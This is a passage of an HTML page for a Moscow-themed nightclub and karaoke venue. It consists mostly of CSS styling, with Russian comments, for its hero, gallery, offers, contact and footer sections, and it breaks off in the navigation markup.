1px;\n            height: 65%;\n            background: linear-gradient(to top, var(--pink), transparent);\n            box-shadow: -180px 0 0 .4px rgba(255, 21, 100, .15),\n                -90px 0 0 .4px rgba(255, 21, 100, .25),\n                90px 0 0 .4px rgba(139, 45, 232, .2),\n                180px 0 0 .4px rgba(139, 45, 232, .12);\n            animation: bp 4s ease-in-out infinite;\n        }\n\n        @keyframes bp {\n\n            0%,\n            100% {\n                opacity: .35\n            }\n\n            50% {\n                opacity: 1\n            }\n        }\n\n        .h-inner {\n            position: relative;\n            z-index: 2;\n            display: flex;\n            flex-direction: column;\n            align-items: center;\n            text-align: center;\n            padding: 52px 72px 56px;\n            gap: 0;\n            background: rgba(4, 4, 12, .28);\n            backdrop-filter: blur(18px) saturate(140%);\n            -webkit-backdrop-filter: blur(18px) saturate(140%);\n            border: 1px solid rgba(255, 255, 255, .07);\n            border-top: 1px solid rgba(255, 21, 100, .38);\n            border-radius: 1px;\n        }\n\n        /* тонкая декоративная линия поверх стекла */\n        .h-inner::before {\n            content: '';\n            position: absolute;\n            top: -1px;\n            left: 20%;\n            right: 20%;\n            height: 1px;\n            background: linear-gradient(90deg, transparent, rgba(255, 21, 100, .7), transparent);\n        }\n\n        .h-eyebrow {\n            font-size: 10px;\n            font-weight: 700;\n            letter-spacing: 5px;\n            text-transform: uppercase;\n            color: var(--pink);\n            display: flex;\n            align-items: center;\n            gap: 14px;\n            margin-bottom: 22px;\n            animation: fu .8s .2s both;\n        }\n\n        .h-eyebrow::before,\n        .h-eyebrow::after {\n            content: '';\n            flex: 1;\n            max-width: 44px;\n            height: 1px;\n        }\n\n        .h-eyebrow::before {\n            background: linear-gradient(90deg, transparent, var(--pink));\n        }\n\n        .h-eyebrow::after {\n            background: linear-gradient(90deg, var(--pink), transparent);\n        }\n\n        /* GLITCH TITLE */\n        .h-title {\n            font-family: 'Barlow Condensed', sans-serif;\n            font-weight: 900;\n            font-style: italic;\n            font-size: clamp(80px, 20vw, 220px);\n            line-height: .88;\n            letter-spacing: -3px;\n            color: var(--w);\n            text-shadow: 0 0 28px rgba(255, 21, 100, .65), 0 0 80px rgba(255, 21, 100, .2), 0 4px 32px rgba(0, 0, 0, .9);\n            position: relative;\n            animation: fu .9s .05s both;\n        }\n\n        .h-title::before,\n        .h-title::after {\n            content: 'МОСКВА';\n            position: absolute;\n            inset: 0;\n            font-family: inherit;\n            font-weight: inherit;\n            font-style: inherit;\n            font-size: inherit;\n            letter-spacing: inherit;\n            line-height: inherit;\n        }\n\n        .h-title::before {\n            color: var(--cyan);\n            clip-path: polygon(0 28%, 100% 28%, 100% 48%, 0 48%);\n            transform: translateX(-4px);\n            opacity: 0;\n            animation: gl1 6s 3s infinite;\n        }\n\n        .h-title::after {\n            color: var(--pink);\n            clip-path: polygon(0 60%, 100% 60%, 100% 76%, 0 76%);\n            transform: translateX(4px);\n            opacity: 0;\n            animation: gl2 6s 3s infinite;\n        }\n\n        @keyframes gl1 {\n\n            0%,\n            88%,\n            100% {\n                opacity: 0;\n                transform: translateX(-4px)\n            }\n\n            89% {\n                opacity: .8;\n                transform: translateX(-7px) skewX(-2deg)\n            }\n\n            90% {\n                opacity: 0\n            }\n\n            91% {\n                opacity: .6;\n                transform: translateX(-3px)\n            }\n\n            92%,\n            99% {\n                opacity: 0\n            }\n        }\n\n        @keyframes gl2 {\n\n            0%,\n            88%,\n            100% {\n                opacity: 0;\n                transform: translateX(4px)\n            }\n\n            89% {\n                opacity: .7;\n                transform: translateX(7px) skewX(2deg)\n            }\n\n            91% {\n                opacity: 0\n            }\n\n            92% {\n                opacity: .5;\n                transform: translateX(4px)\n            }\n\n            93%,\n            99% {\n                opacity: 0\n            }\n        }\n\n        .h-loc {\n            font-size: clamp(12px, 1.4vw, 15px);\n            font-weight: 300;\n            letter-spacing: 5px;\n            text-transform: uppercase;\n            color: rgba(255, 255, 255, .5);\n            margin-top: 12px;\n            animation: fu .8s .3s both;\n        }\n\n        .h-line {\n            width: 1px;\n            height: 56px;\n            margin-top: 36px;\n            background: linear-gradient(to bottom, var(--pink), transparent);\n            animation: fu .8s .5s both;\n        }\n\n        .h-btns {\n            display: flex;\n            gap: 14px;\n            margin-top: 26px;\n            flex-wrap: wrap;\n            justify-content: center;\n            animation: fu .8s .6s both;\n        }\n\n        .btn-fire {\n            background: var(--pink);\n            color: #fff;\n            font-weight: 800;\n            font-size: 12px;\n            letter-spacing: 2.5px;\n            text-transform: uppercase;\n            padding: 15px 44px;\n            border-radius: 1px;\n            position: relative;\n            overflow: hidden;\n            transition: box-shadow .3s, transform .2s;\n        }\n\n        .btn-fire::before {\n            content: '';\n            position: absolute;\n            inset: 0;\n            background: linear-gradient(90deg, transparent, rgba(255, 255, 255, .12), transparent);\n            transform: translateX(-100%);\n            transition: transform .45s;\n        }\n\n        .btn-fire:hover::before {\n            transform: translateX(100%);\n        }\n\n        .btn-fire:hover {\n            box-shadow: var(--gp);\n            transform: translateY(-2px);\n        }\n\n        .btn-ghost {\n            background: transparent;\n            color: var(--w);\n            font-weight: 600;\n            font-size: 12px;\n            letter-spacing: 2.5px;\n            text-transform: uppercase;\n            padding: 14px 38px;\n            border-radius: 1px;\n            border: 1px solid rgba(255, 255, 255, .22);\n            transition: border-color .3s, transform .2s, background .3s;\n        }\n\n        .btn-ghost:hover {\n            border-color: rgba(255, 255, 255, .6);\n            background: rgba(255, 255, 255, .05);\n            transform: translateY(-2px);\n        }\n\n        /* теги героя */\n        .h-tags {\n            position: absolute;\n            bottom: 40px;\n            right: 52px;\n            z-index: 2;\n            display: flex;\n            flex-direction: column;\n            align-items: flex-end;\n            gap: 7px;\n            animation: fu .8s .8s both;\n        }\n\n        .h-tag {\n            font-size: 9px;\n            font-weight: 600;\n            letter-spacing: 2px;\n            text-transform: uppercase;\n            color: rgba(255, 255, 255, .22);\n        }\n\n        .h-scroll {\n            position: absolute;\n            bottom: 36px;\n            left: 50%;\n            transform: translateX(-50%);\n            z-index: 2;\n            display: flex;\n            flex-direction: column;\n            align-items: center;\n            gap: 9px;\n            opacity: .55;\n            animation: fu .8s .9s both;\n        }\n\n        .h-scroll span {\n            font-size: 9px;\n            letter-spacing: 3px;\n            text-transform: uppercase;\n            color: rgba(255, 255, 255, .6);\n        }\n\n        .h-arr {\n            display: flex;\n            flex-direction: column;\n            align-items: center;\n            gap: 2px;\n            animation: arrB 1.7s ease-in-out infinite;\n        }\n\n        .h-arr svg {\n            display: block;\n        }\n\n        .h-arr svg:last-child {\n            opacity: .32;\n        }\n\n        @keyframes arrB {\n\n            0%,\n            100% {\n                transform: translateY(0);\n                opacity: .55;\n            }\n\n            50% {\n                transform: translateY(7px);\n                opacity: 1;\n            }\n        }\n\n        @keyframes fu {\n            from {\n                opacity: 0;\n                transform: translateY(26px)\n            }\n\n            to {\n                opacity: 1;\n                transform: translateY(0)\n            }\n        }\n\n        /* ──────────── TICKER ──────────── */\n        .ticker {\n            background: var(--pink);\n            overflow: hidden;\n            white-space: nowrap;\n            padding: 11px 0;\n        }\n\n        .ticker-t {\n            display: inline-flex;\n            animation: tk 26s linear infinite;\n        }\n\n        .ticker-t:hover {\n            animation-play-state: paused;\n        }\n\n        @keyframes tk {\n            from {\n                transform: translateX(0)\n            }\n\n            to {\n                transform: translateX(-50%)\n            }\n        }\n\n        .tk-i {\n            font-family: 'Bebas Neue', sans-serif;\n            font-size: 14px;\n            letter-spacing: 3px;\n            color: rgba(0, 0, 0, .72);\n            padding: 0 26px;\n        }\n\n        .tk-d {\n            display: inline-block;\n            width: 4px;\n            height: 4px;\n            border-radius: 50%;\n            background: rgba(0, 0, 0, .3);\n            margin: 0 6px;\n            vertical-align: middle;\n        }\n\n        /* ──────────── STATS ──────────── */\n        .stats {\n            display: grid;\n            grid-template-columns: repeat(4, 1fr);\n            border-bottom: 1px solid var(--ln);\n        }\n\n        .st {\n            padding: 44px 36px;\n            border-right: 1px solid var(--ln);\n            position: relative;\n            overflow: hidden;\n            transition: background .3s;\n        }\n\n        .st:last-child {\n            border-right: none;\n        }\n\n        .st:hover {\n            background: rgba(255, 255, 255, .018);\n        }\n\n        .st::before {\n            content: '';\n            position: absolute;\n            top: 0;\n            left: 0;\n            right: 0;\n            height: 2px;\n            background: linear-gradient(90deg, var(--pink), var(--pur));\n            transform: scaleX(0);\n            transform-origin: left;\n            transition: transform .5s cubic-bezier(.22, 1, .36, 1);\n        }\n\n        .st:hover::before {\n            transform: scaleX(1);\n        }\n\n        .st-n {\n            font-family: 'Bebas Neue', sans-serif;\n            font-size: clamp(46px, 6vw, 70px);\n            line-height: 1;\n            letter-spacing: 2px;\n            background: linear-gradient(135deg, var(--w) 30%, rgba(255, 255, 255, .35));\n            -webkit-background-clip: text;\n            -webkit-text-fill-color: transparent;\n        }\n\n        .st-u {\n            color: var(--pink);\n            -webkit-text-fill-color: var(--pink);\n        }\n\n        .st-l {\n            font-size: 11px;\n            font-weight: 600;\n            letter-spacing: 2px;\n            text-transform: uppercase;\n            color: var(--dim);\n            margin-top: 8px;\n        }\n\n        /* ──────────── ABOUT — SPLIT ──────────── */\n        #about {\n            display: grid;\n            grid-template-columns: 1fr 1fr;\n        }\n\n        .a-photo {\n            position: relative;\n            overflow: hidden;\n            min-height: 580px;\n        }\n\n        .a-photo img {\n            width: 100%;\n            height: 100%;\n            object-fit: cover;\n            transition: transform .8s cubic-bezier(.22, 1, .36, 1);\n        }\n\n        .a-photo:hover img {\n            transform: scale(1.04);\n        }\n\n        .a-photo::after {\n            content: '';\n            position: absolute;\n            inset: 0;\n            background: linear-gradient(90deg, transparent 55%, var(--bg));\n        }\n\n        .a-badge {\n            position: absolute;\n            top: 32px;\n            left: 32px;\n            z-index: 2;\n            background: var(--pink);\n            padding: 10px 18px;\n            border-radius: 1px;\n        }\n\n        .a-badge strong {\n            display: block;\n            font-family: 'Bebas Neue', sans-serif;\n            font-size: 34px;\n            line-height: 1;\n            letter-spacing: 2px;\n        }\n\n        .a-badge span {\n            font-size: 9px;\n            font-weight: 700;\n            letter-spacing: 2px;\n            text-transform: uppercase;\n            opacity: .8;\n        }\n\n        .a-text {\n            background: var(--bg);\n            padding: 80px 64px;\n            display: flex;\n            flex-direction: column;\n            justify-content: center;\n        }\n\n        .sec-tag {\n            font-size: 10px;\n            font-weight: 700;\n            letter-spacing: 4px;\n            text-transform: uppercase;\n            color: var(--pink);\n            display: flex;\n            align-items: center;\n            gap: 10px;\n            margin-bottom: 20px;\n        }\n\n        .sec-tag::before {\n            content: '';\n            width: 20px;\n            height: 1px;\n            background: var(--pink);\n        }\n\n        .a-h {\n            font-family: 'Bebas Neue', sans-serif;\n            font-size: clamp(46px, 5.5vw, 80px);\n            line-height: .9;\n            letter-spacing: 2px;\n        }\n\n        .a-h em {\n            font-style: normal;\n            color: var(--pink);\n        }\n\n        .a-p {\n            font-size: 15px;\n            line-height: 1.8;\n            color: rgba(255, 255, 255, .58);\n            margin-top: 20px;\n        }\n\n        .a-q {\n            margin-top: 26px;\n            padding: 16px 20px;\n            border-left: 2px solid var(--pink);\n            background: rgba(255, 21, 100, .04);\n            font-size: 13.5px;\n            font-style: italic;\n            color: rgba(255, 255, 255, .4);\n            line-height: 1.7;\n        }\n\n        .a-q strong {\n            color: var(--w);\n            font-style: normal;\n        }\n\n        /* ──────────── FULLBLEED VIBE ──────────── */\n        #vibe {\n            position: relative;\n            height: 65vh;\n            min-height: 440px;\n            overflow: hidden;\n            display: flex;\n            align-items: flex-end;\n        }\n\n        .v-bg {\n            position: absolute;\n            inset: -12px;\n            background: url('4.png') center 40% / cover no-repeat;\n            filter: blur(5px) brightness(.55);\n            transform: scale(1.06);\n        }\n\n        .v-bg::after {\n            content: '';\n            position: absolute;\n            inset: 0;\n            background:\n                linear-gradient(to top, rgba(4, 4, 12, 1) 0%, rgba(4, 4, 12, .15) 50%, rgba(4, 4, 12, .6) 100%),\n                linear-gradient(135deg, rgba(255, 21, 100, .12) 0%, transparent 50%, rgba(139, 45, 232, .1) 100%);\n        }\n\n        .v-cnt {\n            position: relative;\n            z-index: 2;\n            width: 100%;\n            padding: 0 64px 60px;\n            display: flex;\n            align-items: flex-end;\n            justify-content: space-between;\n            gap: 40px;\n        }\n\n        .v-big {\n            font-family: 'Bebas Neue', sans-serif;\n            font-size: clamp(58px, 9vw, 120px);\n            line-height: .88;\n            letter-spacing: 4px;\n        }\n\n        .v-big em {\n            font-style: normal;\n            color: var(--pink);\n            text-shadow: var(--gp);\n        }\n\n        .v-desc {\n            max-width: 380px;\n            font-size: 14px;\n            line-height: 1.8;\n            color: rgba(255, 255, 255, .5);\n            padding-bottom: 6px;\n        }\n\n        /* ──────────── FEATURES ──────────── */\n        #features {\n            padding: 0;\n        }\n\n        .f-row {\n            display: grid;\n            grid-template-columns: repeat(2, 1fr);\n            border-bottom: 1px solid var(--ln);\n        }\n\n        .f-item {\n            padding: 56px 52px;\n            border-right: 1px solid var(--ln);\n            position: relative;\n            overflow: hidden;\n            cursor: default;\n            transition: background .3s;\n        }\n\n        .f-item:nth-child(even) {\n            border-right: none;\n        }\n\n        .f-item:hover {\n            background: rgba(255, 255, 255, .02);\n        }\n\n        .f-item::after {\n            content: '';\n            position: absolute;\n            left: 0;\n            top: 0;\n            bottom: 0;\n            width: 2px;\n            background: linear-gradient(to bottom, var(--pink), var(--pur));\n            transform: scaleY(0);\n            transform-origin: top;\n            transition: transform .4s cubic-bezier(.22, 1, .36, 1);\n        }\n\n        .f-item:hover::after {\n            transform: scaleY(1);\n        }\n\n        .f-bg {\n            position: absolute;\n            right: 28px;\n            top: 16px;\n            font-family: 'Bebas Neue', sans-serif;\n            font-size: 84px;\n            line-height: 1;\n            color: rgba(255, 255, 255, .03);\n            letter-spacing: 0;\n            transition: color .3s;\n            pointer-events: none;\n        }\n\n        .f-item:hover .f-bg {\n            color: rgba(255, 21, 100, .06);\n        }\n\n        .f-h {\n            font-family: 'Bebas Neue', sans-serif;\n            font-size: 30px;\n            letter-spacing: 1.5px;\n            margin-bottom: 12px;\n        }\n\n        .f-t {\n            font-size: 14px;\n            line-height: 1.75;\n            color: var(--dim);\n            max-width: 440px;\n        }\n\n        /* ──────────── KARAOKE ──────────── */\n        #karaoke {\n            display: grid;\n            grid-template-columns: 1fr 1fr;\n            border-top: 1px solid var(--ln);\n            border-bottom: 1px solid var(--ln);\n            background: rgba(255, 255, 255, .016);\n        }\n\n        .k-left {\n            padding: 80px 64px;\n            display: flex;\n            flex-direction: column;\n            justify-content: center;\n        }\n\n        .k-h {\n            font-family: 'Bebas Neue', sans-serif;\n            font-size: clamp(50px, 6.5vw, 92px);\n            line-height: .88;\n            letter-spacing: 3px;\n            margin-top: 16px;\n        }\n\n        .k-h em {\n            font-style: normal;\n            color: var(--pur);\n        }\n\n        .k-p {\n            font-size: 14.5px;\n            line-height: 1.8;\n            color: rgba(255, 255, 255, .55);\n            margin-top: 18px;\n        }\n\n        .k-list {\n            margin-top: 28px;\n            border: 1px solid var(--ln);\n            border-radius: 2px;\n            overflow: hidden;\n        }\n\n        .k-li {\n            display: flex;\n            align-items: center;\n            gap: 16px;\n            padding: 16px 20px;\n            border-bottom: 1px solid var(--ln);\n            font-size: 13.5px;\n            font-weight: 500;\n            transition: background .25s;\n        }\n\n        .k-li:last-child {\n            border-bottom: none;\n        }\n\n        .k-li:hover {\n            background: rgba(139, 45, 232, .07);\n        }\n\n        .k-dot {\n            width: 7px;\n            height: 7px;\n            border-radius: 50%;\n            flex-shrink: 0;\n            background: var(--pur);\n            box-shadow: 0 0 8px rgba(139, 45, 232, .8);\n        }\n\n        .k-photo {\n            position: relative;\n            overflow: hidden;\n        }\n\n        .k-photo img {\n            width: 100%;\n            height: 100%;\n            object-fit: cover;\n            transition: transform .7s cubic-bezier(.22, 1, .36, 1);\n        }\n\n        .k-photo:hover img {\n            transform: scale(1.04);\n        }\n\n        .k-photo::before {\n            content: '';\n            position: absolute;\n            inset: 0;\n            z-index: 1;\n            background: linear-gradient(90deg, var(--bg) 0%, transparent 40%);\n        }\n\n        .k-stamp {\n            position: absolute;\n            bottom: 28px;\n            right: 28px;\n            z-index: 2;\n            border: 1px solid rgba(139, 45, 232, .35);\n            padding: 12px 18px;\n            border-radius: 2px;\n            backdrop-filter: blur(6px);\n            background: rgba(4, 4, 12, .55);\n            text-align: center;\n        }\n\n        .k-stamp strong {\n            display: block;\n            font-family: 'Bebas Neue', sans-serif;\n            font-size: 28px;\n            letter-spacing: 2px;\n            color: var(--pur);\n        }\n\n        .k-stamp span {\n            font-size: 9px;\n            letter-spacing: 2px;\n            color: var(--dim);\n            text-transform: uppercase;\n        }\n\n        /* ──────────── GALLERY ──────────── */\n        #gallery {\n            padding: 80px 48px;\n        }\n\n        .g-head {\n            display: flex;\n            align-items: flex-end;\n            justify-content: space-between;\n            gap: 20px;\n            margin-bottom: 40px;\n        }\n\n        .g-tit {\n            font-family: 'Bebas Neue', sans-serif;\n            font-size: clamp(50px, 7vw, 86px);\n            line-height: .9;\n            letter-spacing: 3px;\n        }\n\n        .g-tit em {\n            font-style: normal;\n            color: var(--pink);\n        }\n\n        .g-sub {\n            font-size: 13px;\n            color: var(--dim);\n            max-width: 220px;\n            text-align: right;\n            line-height: 1.6;\n        }\n\n        .g-grid {\n            display: grid;\n            grid-template-columns: 1.45fr 1fr 1fr;\n            grid-template-rows: 310px 210px;\n            gap: 6px;\n        }\n\n        .gi {\n            overflow: hidden;\n            border-radius: 2px;\n            position: relative;\n            cursor: pointer;\n        }\n\n        .gi:nth-child(1) {\n            grid-row: 1/3;\n        }\n\n        .gi img {\n            width: 100%;\n            height: 100%;\n            object-fit: cover;\n            transition: transform .6s cubic-bezier(.22, 1, .36, 1), filter .4s;\n            filter: brightness(.82) saturate(.88);\n        }\n\n        .gi:hover img {\n            transform: scale(1.06);\n            filter: brightness(1) saturate(1.1);\n        }\n\n        .gi::after {\n            content: '';\n            position: absolute;\n            inset: 0;\n            background: linear-gradient(to top, rgba(4, 4, 12, .5) 0%, transparent 50%);\n        }\n\n        /* ──────────── OFFERS ──────────── */\n        #offers {\n            padding: 80px 48px;\n            background: rgba(255, 255, 255, .017);\n            border-top: 1px solid var(--ln);\n            border-bottom: 1px solid var(--ln);\n        }\n\n        .o-head {\n            margin-bottom: 48px;\n        }\n\n        .o-tit {\n            font-family: 'Bebas Neue', sans-serif;\n            font-size: clamp(50px, 7vw, 86px);\n            line-height: .9;\n            letter-spacing: 3px;\n            margin-top: 14px;\n        }\n\n        .o-tit em {\n            font-style: normal;\n            color: var(--pink);\n        }\n\n        .o-grid {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 2px;\n        }\n\n        .o-card {\n            padding: 42px 34px;\n            border: 1px solid var(--ln);\n            position: relative;\n            overflow: hidden;\n            cursor: default;\n            transition: border-color .3s, background .3s;\n        }\n\n        .o-card:hover {\n            border-color: rgba(255, 21, 100, .28);\n            background: rgba(255, 21, 100, .03);\n        }\n\n        .o-ghost {\n            position: absolute;\n            right: -8px;\n            bottom: -18px;\n            font-family: 'Bebas Neue', sans-serif;\n            font-size: 130px;\n            line-height: 1;\n            color: rgba(255, 255, 255, .022);\n            pointer-events: none;\n            transition: color .3s;\n        }\n\n        .o-card:hover .o-ghost {\n            color: rgba(255, 21, 100, .048);\n        }\n\n        .o-val {\n            font-family: 'Bebas Neue', sans-serif;\n            font-size: 60px;\n            line-height: 1;\n            letter-spacing: 2px;\n            color: var(--pink);\n            text-shadow: var(--gp);\n            margin-bottom: 10px;\n        }\n\n        .o-name {\n            font-size: 16px;\n            font-weight: 700;\n            margin-bottom: 10px;\n        }\n\n        .o-txt {\n            font-size: 13.5px;\n            line-height: 1.7;\n            color: var(--dim);\n        }\n\n        .o-cond {\n            margin-top: 18px;\n            padding-top: 16px;\n            border-top: 1px solid var(--ln);\n            font-size: 11px;\n            color: rgba(255, 255, 255, .2);\n            letter-spacing: .8px;\n        }\n\n        /* ──────────── CTA PHONE ──────────── */\n        #cta {\n            padding: 120px 48px;\n            text-align: center;\n            position: relative;\n            overflow: hidden;\n        }\n\n        #cta::before {\n            content: '';\n            position: absolute;\n            inset: 0;\n            background: radial-gradient(ellipse 65% 80% at 50% 50%, rgba(255, 21, 100, .08) 0%, transparent 68%),\n                radial-gradient(ellipse 40% 50% at 28% 50%, rgba(139, 45, 232, .05) 0%, transparent 60%);\n        }\n\n        /* декоративный текст фоном */\n        .cta-decor {\n            position: absolute;\n            inset: 0;\n            pointer-events: none;\n            overflow: hidden;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-family: 'Bebas Neue', sans-serif;\n            font-size: clamp(90px, 20vw, 260px);\n            letter-spacing: 14px;\n            white-space: nowrap;\n            color: rgba(255, 255, 255, .023);\n        }\n\n        .cta-body {\n            position: relative;\n            z-index: 2;\n        }\n\n        .cta-ey {\n            font-size: 10px;\n            font-weight: 700;\n            letter-spacing: 5px;\n            text-transform: uppercase;\n            color: var(--pink);\n            margin-bottom: 16px;\n        }\n\n        .cta-h {\n            font-family: 'Bebas Neue', sans-serif;\n            font-size: clamp(46px, 8vw, 108px);\n            line-height: .88;\n            letter-spacing: 4px;\n            margin-bottom: 12px;\n        }\n\n        .cta-h em {\n            font-style: normal;\n            color: var(--pink);\n            text-shadow: var(--gp);\n        }\n\n        .cta-sub {\n            font-size: 15px;\n            color: rgba(255, 255, 255, .42);\n            line-height: 1.7;\n            margin-bottom: 48px;\n            max-width: 500px;\n            margin-left: auto;\n            margin-right: auto;\n        }\n\n        /* блок телефона */\n        .cta-ph-wrap {\n            display: inline-flex;\n            align-items: center;\n            gap: 18px;\n            border: 1px solid rgba(255, 21, 100, .32);\n            padding: 22px 44px;\n            border-radius: 2px;\n            position: relative;\n            overflow: hidden;\n            cursor: pointer;\n            transition: border-color .35s, box-shadow .35s;\n        }\n\n        .cta-ph-wrap:hover {\n            border-color: var(--pink);\n            box-shadow: var(--gp);\n        }\n\n        .cta-ph-wrap::before {\n            content: '';\n            position: absolute;\n            inset: 0;\n            background: linear-gradient(90deg, transparent, rgba(255, 21, 100, .08), transparent);\n            transform: translateX(-100%);\n            transition: transform .5s;\n        }\n\n        .cta-ph-wrap:hover::before {\n            transform: translateX(100%);\n        }\n\n        .cta-ph-ico {\n            width: 22px;\n            height: 22px;\n            color: var(--pink);\n            flex-shrink: 0;\n        }\n\n        .cta-ph-num {\n            font-family: 'Bebas Neue', sans-serif;\n            font-size: clamp(32px, 5vw, 60px);\n            letter-spacing: 3px;\n            color: var(--w);\n            line-height: 1;\n        }\n\n        .cta-ph-sub {\n            margin-top: 16px;\n            font-size: 11px;\n            color: rgba(255, 255, 255, .2);\n            letter-spacing: 1.5px;\n        }\n\n        /* hours */\n        .cta-hrs {\n            margin-top: 52px;\n            display: inline-flex;\n            border: 1px solid var(--ln);\n            border-radius: 2px;\n            overflow: hidden;\n        }\n\n        .cta-hb {\n            padding: 15px 32px;\n            border-right: 1px solid var(--ln);\n            text-align: center;\n        }\n\n        .cta-hb:last-child {\n            border-right: none;\n        }\n\n        .cta-hv {\n            display: block;\n            font-family: 'Bebas Neue', sans-serif;\n            font-size: 22px;\n            letter-spacing: 2px;\n            color: var(--pink);\n        }\n\n        .cta-hl {\n            display: block;\n            font-size: 9px;\n            font-weight: 700;\n            letter-spacing: 2px;\n            text-transform: uppercase;\n            color: var(--dim);\n            margin-top: 3px;\n        }\n\n        /* ──────────── INFO ROW ──────────── */\n        #info {\n            border-top: 1px solid var(--ln);\n            display: grid;\n            grid-template-columns: repeat(4, 1fr);\n        }\n\n        .i-cell {\n            padding: 34px 30px;\n            border-right: 1px solid var(--ln);\n            transition: background .25s;\n        }\n\n        .i-cell:last-child {\n            border-right: none;\n        }\n\n        .i-cell:hover {\n            background: rgba(255, 255, 255, .018);\n        }\n\n        .i-ico {\n            width: 18px;\n            height: 18px;\n            color: var(--pink);\n            margin-bottom: 12px;\n        }\n\n        .i-lbl {\n            font-size: 9px;\n            font-weight: 700;\n            letter-spacing: 3px;\n            text-transform: uppercase;\n            color: var(--dim);\n            margin-bottom: 7px;\n        }\n\n        .i-val {\n            font-size: 14px;\n            font-weight: 500;\n            line-height: 1.55;\n        }\n\n        .i-val small {\n            font-size: 11px;\n            color: var(--dim);\n            display: block;\n            margin-top: 2px;\n        }\n\n        /* ──────────── FOOTER ──────────── */\n        footer {\n            border-top: 1px solid var(--ln);\n            padding: 26px 48px;\n        }\n\n        .f-row {\n            display: flex;\n            align-items: center;\n            justify-content: space-between;\n            flex-wrap: wrap;\n            gap: 14px;\n        }\n\n        .f-logo {\n            font-family: 'Bebas Neue', sans-serif;\n            font-size: 21px;\n            letter-spacing: 4px;\n        }\n\n        .f-logo b {\n            color: var(--pink);\n            font-weight: 400;\n        }\n\n        .f-copy {\n            font-size: 11px;\n            color: rgba(255, 255, 255, .18);\n            letter-spacing: .5px;\n        }\n\n        .f-net {\n            font-size: 11px;\n            color: rgba(255, 255, 255, .18);\n        }\n\n        .f-net b {\n            color: var(--pink);\n            font-weight: 400;\n            opacity: .7;\n        }\n\n        .f-18 {\n            width: 30px;\n            height: 30px;\n            border-radius: 50%;\n            border: 1px solid rgba(255, 255, 255, .12);\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-size: 10px;\n            font-weight: 700;\n            color: rgba(255, 255, 255, .22);\n        }\n\n        /* ──────────── REVEAL ──────────── */\n        .rv {\n            opacity: 0;\n            transform: translateY(30px);\n            transition: opacity .7s ease, transform .7s ease;\n        }\n\n        .rv.on {\n            opacity: 1;\n            transform: translateY(0);\n        }\n\n        .d1 {\n            transition-delay: .08s\n        }\n\n        .d2 {\n            transition-delay: .16s\n        }\n\n        .d3 {\n            transition-delay: .24s\n        }\n\n        .d4 {\n            transition-delay: .32s\n        }\n\n        .d5 {\n            transition-delay: .40s\n        }\n\n        /* ──────────── RESPONSIVE ──────────── */\n        @media(max-width:960px) {\n            #nav {\n                padding: 0 20px;\n            }\n\n            .burg {\n                display: flex;\n            }\n\n            .h-inner {\n                padding: 36px 28px 40px;\n            }\n\n            .h-inner::before {\n                left: 10%;\n                right: 10%;\n            }\n\n            .n-ul {\n                position: fixed;\n                inset: 60px 0 0 0;\n                flex-direction: column;\n                justify-content: center;\n                gap: 28px;\n                background: rgba(4, 4, 12, .97);\n                backdrop-filter: blur(24px);\n                opacity: 0;\n                pointer-events: none;\n                transition: opacity .3s;\n                z-index: 400;\n            }\n\n            .n-ul.open {\n                opacity: 1;\n                pointer-events: all;\n            }\n\n            .n-ul a {\n                font-size: 18px;\n                color: var(--w);\n            }\n\n            .n-tel {\n                display: none;\n            }\n\n            .stats {\n                grid-template-columns: repeat(2, 1fr);\n            }\n\n            .st:nth-child(2) {\n                border-right: none;\n            }\n\n            .st:nth-child(3) {\n                border-right: 1px solid var(--ln);\n            }\n\n            #about {\n                grid-template-columns: 1fr;\n            }\n\n            .a-photo {\n                min-height: 350px;\n            }\n\n            .a-photo::after {\n                background: linear-gradient(to top, var(--bg), transparent);\n            }\n\n            .a-text {\n                padding: 56px 28px;\n            }\n\n            .v-cnt {\n                padding: 0 28px 40px;\n                flex-direction: column;\n                align-items: flex-start;\n                gap: 14px;\n            }\n\n            .f-row {\n                grid-template-columns: 1fr;\n            }\n\n            .f-item:nth-child(even),\n            .f-item:nth-child(odd) {\n                border-right: 1px solid var(--ln);\n            }\n\n            #karaoke {\n                grid-template-columns: 1fr;\n            }\n\n            .k-photo {\n                min-height: 300px;\n            }\n\n            .k-left {\n                padding: 56px 28px;\n            }\n\n            #gallery {\n                padding: 60px 20px;\n            }\n\n            .g-grid {\n                grid-template-columns: 1fr 1fr;\n                grid-template-rows: 200px 170px 170px;\n            }\n\n            .gi:nth-child(1) {\n                grid-row: 1/2;\n            }\n\n            .gi:nth-child(4) {\n                grid-column: 1/3;\n            }\n\n            #offers {\n                padding: 60px 20px;\n            }\n\n            .o-grid {\n                grid-template-columns: 1fr;\n            }\n\n            #cta {\n                padding: 80px 20px;\n            }\n\n            .cta-ph-wrap {\n                padding: 16px 24px;\n            }\n\n            .cta-hrs {\n                flex-direction: column;\n            }\n\n            .cta-hb {\n                border-right: none;\n                border-bottom: 1px solid var(--ln);\n            }\n\n            .cta-hb:last-child {\n                border-bottom: none;\n            }\n\n            #info {\n                grid-template-columns: repeat(2, 1fr);\n            }\n\n            .i-cell:nth-child(2) {\n                border-right: none;\n            }\n\n            .i-cell:nth-child(3) {\n                border-right: 1px solid var(--ln);\n            }\n\n            footer {\n                padding: 22px 20px;\n            }\n\n            .h-tags {\n                display: none;\n            }\n        }\n\n        @media(max-width:540px) {\n            .stats {\n                grid-template-columns: 1fr 1fr;\n            }\n\n            .h-inner {\n                padding: 28px 16px 30px;\n            }\n\n            .a-text {\n                padding: 44px 18px;\n            }\n\n            .f-item {\n                padding: 40px 22px;\n            }\n\n            .k-left {\n                padding: 44px 18px;\n            }\n\n            #offers {\n                padding: 56px 18px;\n            }\n\n            #cta {\n                padding: 70px 18px;\n            }\n\n            #info {\n                grid-template-columns: 1fr;\n            }\n\n            .i-cell {\n                border-right: none;\n                border-bottom: 1px solid var(--ln);\n            }\n\n            .i-cell:last-child {\n                border-bottom: none;\n            }\n        }\n    </style>\n</head>\n\n<body>\n\n    <!-- ── NAV ── -->\n    <nav id=\"nav\">\n        <div class=\"n-logo\"><b>М</b>ОСКВА</div>\n        <ul class=\"n-ul\" id=\"nul\">\n            <li><a href=\"#about\">О клубе</a></li>\n            <li><a href=\"#karaoke\">Караоке</a></li>\n            <li><a href=\"#gallery\">Фото</a></li>\n            <li><a href=\"#offers\">Акции</a></li>\n            <li><a href=\"#cta\">Контакты</a></li>\n        </ul>\n        <a href=\"tel:+7XXXXXXXXXX\" 